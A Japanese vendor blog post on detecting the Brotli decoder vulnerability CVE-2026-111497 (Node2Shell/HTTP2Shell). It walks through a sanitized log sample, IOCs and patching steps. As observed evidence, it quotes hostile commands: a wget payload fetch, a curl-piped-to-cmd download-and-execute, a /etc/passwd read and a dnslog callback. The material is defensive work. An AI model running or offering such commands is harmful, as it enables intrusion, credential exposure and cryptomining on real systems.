Node2Shell/HTTP2Shell 検出は見かけより難しく、脆弱性が単一の製品に限定されていないためです。Node2Shell、別名 HTTP2Shell は CVE-2026-111497 です:Google の Brotli C デコーダー、バージョン 1.0.3 から 1.2.0 の範囲における境界外書き込みで、CVSS 4.0 の9.2点を取得しています。欠陥が共有の圧縮ライブラリにあるため、Node.js、Python Brotli パッケージ、Bun、curl、Envoy、その他 Brotli をデコードするソフトウェアに影響します。
この記事では、LogTotal で解析したログサンプルを用いて Node2Shell/HTTP2Shell の検出について説明します。LogTotal は、イベントを既知の脅威に一致させるログ分析ツールです。以下では、脆弱性の背景、ログソース、LogTotal の報告内容、および対応方法について説明します。
Node2Shell (HTTP2Shell) 分析
脆弱なコードは Brotli C デコーダーのバージョン 1.0.3 から 1.2.0 に存在します。Google は番号付与機関として、CVSS 4.0 で9.2のスコアを付け、一方で Node.js はそれを「高」と評価しています。ログサンプルを正しく読むためには、バグのトリガー方法、開示の展開、露出するソフトウェアのバージョンと設定を知っていると役立ちます。
Node2Shell に関する脆弱性の詳細
単一ブロックタイプを宣言し、その後ブロックを切り替えた Brotli ストリームが拒否されず、無効な状態でデコードが続行され、バッファを越えて書き込みを行いました。攻撃者が制御する Brotli データを解凍するプロセスは、以下の2つの方向で影響を受ける可能性があります:
- インバウンド: サーバーに送信され、サーバーがデコードする Brotli 圧縮 HTTP リクエストボディが作成される。
- アウトバウンド: クライアントがフェッチするレスポンスを作成する。
このバグにはいくつかの名前があります。最初に Node.js が開示し修正したので Node2Shell と呼ばれました。HTTP2Shell は、それが HTTP を介して Brotli をデコードする任意のスタックに到達することを反映しています。また、Python2Shell や Broccoli2Shell としても言及されています。
開示と悪用のタイムライン
| 日付 (2026) | イベント |
| 10月27日 | CISA が CVE をその KEV カタログに追加; 米国連邦機関は11月10日までにパッチを適用しなければならない |
| 10月26日 | このサンプルでの悪用が app-node-01 に記録された |
| 10月25日 | Microsoft が場外の .NET 修正をリリース |
| 10月22日 | CVE が公開される; Code execution が Node.js 24.22.0 上で公に示される; Bun 1.4.4 がリリースされる |
| 10月21日 | Node.js の開示と修正リリース; Brotli 1.0.10、1.1.1、1.2.1 がリリースされる |
| 2月27日 | google/brotli に修正がコミットされ、リリースやアドバイザリは無し |
バグ自体は2018年3月に Brotli 1.0.3 に組み込まれました。OpenAI Codex Security の Khai Tran と Sylvie Mayer が Node.js に報告しました。公の概念実証が存在し、Imperva と ELLIO の両方が公式の Node.js ビルドに対してコードの実行を再現しました。そして、どのホストが Brotli を解凍するかをマッピングするスキャナーもすでに使用されています。コードの実行は Python パッケージに対して示されていませんが、悪意ある入力でクラッシュします。このサンプルで示される web-prod-01 のクラッシュと同様です。
Node2Shell の影響を受けたバージョンと修正
| コンポーネント | 修正済み |
| Node.js 26.x / 24.x / 22.x | 26.12.1 / 24.22.1 / 22.23.4 |
| Node.js 20.x 他のサポート終了ライン | 修正なし; サポートされるラインへ移行 |
| Bun | 1.4.4 |
| Google Brotli ライブラリ | 1.0.10, 1.1.1, 1.2.1 |
| PyPI brotli / brotlicffi | 1.2.1 / 1.2.1.0 |
| .NET ランタイム 8 / 9 / 10 | 8.0.33 / 9.0.22 / 10.0.14 |
| Envoy | 1.36.12, 1.37.8, 1.38.6, 1.39.3, 1.40.0 |
| Istio | 1.29.9, 1.30.6, 1.31.2 |
| Java brotli4j / Ruby brotli gem | 1.24.0 / 0.9.1 |
攻撃者データがデコーダーに到達できる場合にのみ、脆弱なバージョンが露出します。Node.js では、そのパスは Express 5、body-parser 2.x、Koa ボディパーサ、@fastify/compress のリクエスト解凍、fetch()、および直接の node:zlib Brotli コールを通じて存在します。Python では、requests、httpx、aiohttp、Scrapy が、それがインストールされている場合は brotli または brotlicffi パッケージを使用します。.NET では、Brotli 解凍はデフォルトでオフになっており、Envoy や Istio は Brotli 解凍器が有効な場合にのみ露出します。curl は –compressed オプションを通じてシステム libbrotli を通してのみ Brotli を解凍するため、パッチが適用されたディストリビューションパッケージが必要です。Debian と Red Hat は修正済みを出荷しています。
ログソースと収集
| 属性 | 値 |
| ファイル | Node2Shell_HTTP2Shell_sample-sanitized.jsonl |
| イベント | 11 |
| 時間枠 | 2026年10月26日、11:30:55〜11:33:05 UTC |
| スキーマ | ECSスタイル |
| ソース | 4 つのプレーンテキスト Linux カーネルおよび systemd-coredump メッセージ; 7 つの Microsoft Defender for Endpoint プロセス生成イベント |
サンプル内のホスト
3つのホストが、生データ内に 2 つのオペレーティングシステム上で現れます。各ホストは、Node2Shell 露出の異なる部分を示します。
| ホスト | OS | ランタイム | ログでの活動 |
| app-node-01 | Linux | Node.js アプリ /opt/app/server.js | Brotli クラッシュ、その後のエクスプロイト後のコマンド |
| web-prod-01 | Linux | Python プロセス | _brotli.cpython-311 でのクラッシュ |
| win-dev-01 | Windows | Node.js アプリ C:Usersdevuserappserver.js | ダウンロードと実行、隠された PowerShell |
Node2Shell (HTTP2Shell) を検出する
LogTotal は 5.3 秒で 11 行を処理し、23 ルールを10 行に対して一致させました。2つのチェーンを形成し、1つを報告し、AI検証ステップで1つをフィルタリングしました。
| 最終フィールド | 結果 |
| 最終 | 疑わしい, 調査が必要 |
| 重要度 | 高 |
| 信頼度 | 中 |
報告されたチェーンは Node2Shell / HTTP2Shell は重大な脆弱性です (CVE-2026-111497): 高、100%一致、2 つのルールが動作。11:30から11:31 UTC 間で仮名化されたホスト上に存在し、その時間と証拠が app-node-01 に一致します。
エクスプロイト:Brotli デコーダークラッシュ
ルール “Possible CVE-2026-111497 (HTTP2Shell / Node2Shell) Exploitation Attempt – Brotli Decoder Native Crash” が libbrotlidec.so.1.1.0 で node セグメンテーションフォルトと一致しました。コアダンプスタックは BrotliDecoderDecompressStream で頂上を作っています。
このレポートはこのクラッシュをサービス拒否 (T1499.004) にマップしています。このステージが Impact を示します。このルールの最後のヒットは 11:33 に python3 が web-prod-01 上の _brotli.cpython-311 でクラッシュしたことで、この第二のランタイムで同じライブラリが失敗したことを示しています。
Linux 上のエクスプロイト後
“Suspicious NodeJS Child Processes [Linux]” は 4回動作し、node /opt/app/server.js は以下を生成しました:
- curl 公開の C3Pool XMRig マイナー設定スクリプト取得
- wget http://198.51.100.23:3000/s.sh
- ping -c 1 5axzi7.dnslog.cn、アウトオブバウンドコールバックチェック
- cat /etc/passwd
このチェーン外の Windows 上のエクスプロイト後
このサンプルの Windows 半分は報告されたチェーンの外にありますが、同じ注意が必要です。win-dev-01 では、node.exe は cmd.exe /c “curl -s https://198.51.100.23/api/w | cmd”、ダウンロードと実行パターン、そして隠された powershell.exe が whoami を実行しました。
この活動で動作したルールは、Suspicious NodeJS Child Processes [Windows]、Read Contents From Stdin Via Cmd.EXE、および Suspicious Powershell Cmdlets です。フィルターされたチェーン、Meet AvisLoader: A Windows Loader Built to Outlast a Takedown (High) は、curl 実行によって駆動されました。
このサンプルからの Node2Shell IOCs
| インジケーター | 種類 | コンテキスト |
| 198.51.100.23 | IP | s.sh のペイロードホスト (ポート 3000) および /api/w (HTTPS) |
| http://198.51.100.23:3000/s.sh | URL | wget によって app-node-01 で取得されたスクリプト |
| https://198.51.100.23/api/w | URL | win-dev-01 で cmd にパイプ接続される |
| 5axzi7.dnslog.cn | ドメイン | ping によるアウトオブバウンドコールバック |
| C3Pool XMRig マイナー設定スクリプト | ダウンロード | node から curl によって取得 |
| libbrotlidec.so.1.1.0 とブロックスタック上の BrotliDecoderDecompressStream | クラッシュのシグネチャ | Node.js エクスプロイト試行 |
| _brotli.cpython-311 クラッシュ | クラッシュのシグネチャ | Python エクスプロイト試行 |
| node / node.exe が curl、wget、ping、cat、cmd.exe、powershell.exe を生成 | プロセス系譜 | エクスプロイト後 |
Node2Shell トリアージでの LogTotal の発見を使用する
報告されたチェーンから開始して app-node-01 上のエクスプロイトを確認し、その後チェーン外のすべての発見を処理します。このサンプルでは、チェーン外のルールとフィルタチェーンが 2 つのさらなる影響を受けたホスト、web-prod-01 と win-dev-01 に示しています。
Node2Shell (HTTP2Shell) の緩和
Node.js をパッチしても、共有 Brotli デコーダーにフローがあるため、Node2Shell は閉じません。Brotli をデコードするすべてのランタイムやプロキシが更新を必要とし、このサンプルのすべてのホストが範囲内にある必要があります。
すべての Brotli コンシューマーにパッチを当てる
- Node.js 22.23.4、24.22.1、または 26.12.1 以下にあるサービス、サポート終了 Node.js ライン上、または Bun 1.4.4 以下のサービス、ベースイメージとビルドホストを見つける。
- 最初にリクエストボディを解凍するサービスにパッチを当てる (Express 5、body-parser 2.x、Koa body parsers、@fastify/compress)、ユーザー提供の URL をフェッチする、または不正なデータを node:zlib Brotli 関数に渡す。
- ランタイムを更新し、その後プロセスを再起動し、コンテナイメージを再構築。自己完結型 .NET アプリと bun build –compile でビルドされたバイナリを含む。
- PyPI brotli を 1.2.1 に、brotlicffi を 1.2.1.0 にアップグレードし、.NET ランタイム、Envoy、Istio、およびディストリビューション brotli パッケージを更新します。
- 修正を受け取らない Node.js 20 および他のサポート終了ラインを移動。
- パッチが出荷されるまで、Content-Encoding: br を WAF またはプロキシで拒否し、大文字小文字を区別せずに「gzip、br」などのリスト内を一致させます。これは fetch() による Brotli 応答をカバーしません。
LogTotal’s 推奨される対応
- ホストを隔離します。
- 11:30-11:33 UTC のプロセス、システム、ネットワークデータを収集。
- Node.js パッチレベルを確認する:22.23.4、24.22.1、または 26.12.1。
- 許可されていないバイナリを削除。
- WAF で不正な Content-Encoding: br を拒否。
- Node.js を特権なしで実行。
- 可能な限り自動 Brotli 解凍を無効にする。
生の証拠からの追加ステップ
- 範囲を広げる app-node-01 に限定せず、win-dev-01 及び web-prod-01 にも。
- エグレスでブロックする 198.51.100.23 および *.dnslog.cn。
- マイナーのチェック: cron のエントリ、systemd のユニット、および稼働中の xmrig プロセス。
- /etc/passwd が読まれたと仮定 し、アカウントを適宜確認。
- 狩猟 シェル、ダウンローダー、またはネットワークツールを生成する node、node.exe、python3 を探します。
継続的な Node2Shell 監視
カーネルおよび systemd-coredump メッセージを EDR プロセスイベントとともに転送します。このサンプルでは、coredump スタックがエクスプロイトの唯一の直接的な証拠であり、EDR イベントがすべての後継を運びました。
FAQ
Node2Shell (HTTP2Shell) とは何で、それはどのように機能しますか?
Node2Shell、別名 HTTP2Shell は CVE-2026-111497 です:Google の Brotli C デコーダー、バージョン 1.0.3 から 1.2.0 の範囲における境界外書き込みで、CVSS 4.0 の9.2点を取得しています。作成された Brotli データはそれを解凍するプロセスをクラッシュさせる可能性があり、Node.js ではリモートコード実行が示されています。上記の分析セクションでその動作方法を説明しています。
Node2Shell はいつ最初に発見されましたか?
OpenAI Codex Security の Khai Tran と Sylvie Mayer がバグを発見し、Node.js に報告しました。それは2018年3月に Brotli 1.0.3 に遡ります。2026年2月27日に上流で修正がコミットされましたが、リリースなしであり、Node.js は 2026年10月21日に欠陥を開示しました。
Node2Shell がシステムに与える影響は何ですか?
クラッシュ自体はサービス拒否であり、後続の活動は脆弱なプロセスのコンテキストでのコード実行を示しています。このサンプルでは、それは暗号通貨マイナーの設定スクリプトのダウンロード、ペイロードの取得、アウトオブバウンド DNS コールバック、/etc/passwd の読み取り、および Windows ホストでのダウンロードと実行を意味します。
2026年にも Node2Shell は私に影響を与えることはありますか?
はい。CVE-2026-111497 は野生で悪用されており、CISA の KEV カタログに記載されています。未修正の Node.js、Bun、Python、.NET、プロキシデプロイメントは依然として露出しており、Node.js 20 および他のサポート終了ラインは修正が行われません。
Node2Shell から身を守るにはどうすればよいですか?
Node.js と他のすべての Brotli コンシューマーにパッチを当て、プロセスを再起動し、イメージを再構築してください。それまでの間、WAF またはプロキシで Content-Encoding: br を拒否し、可能な限り自動 Brotli 解凍を無効にします。緩和セクションに完全な手順がリストされています。
Node2Shell を検出する方法
すべての Node.js および Python ホストからカーネルと systemd-coredump ログおよび EDR プロセスイベントを収集します。Brotli デコーダークラッシュおよびランタイムのシェルまたはダウンローダーを生成する兆候を警告します。LogTotalはこれらのイベントを Node2Shell チェーンにマップしますが、それ以外の発見も確認します。ここでは2つの追加ホストが表面化しています。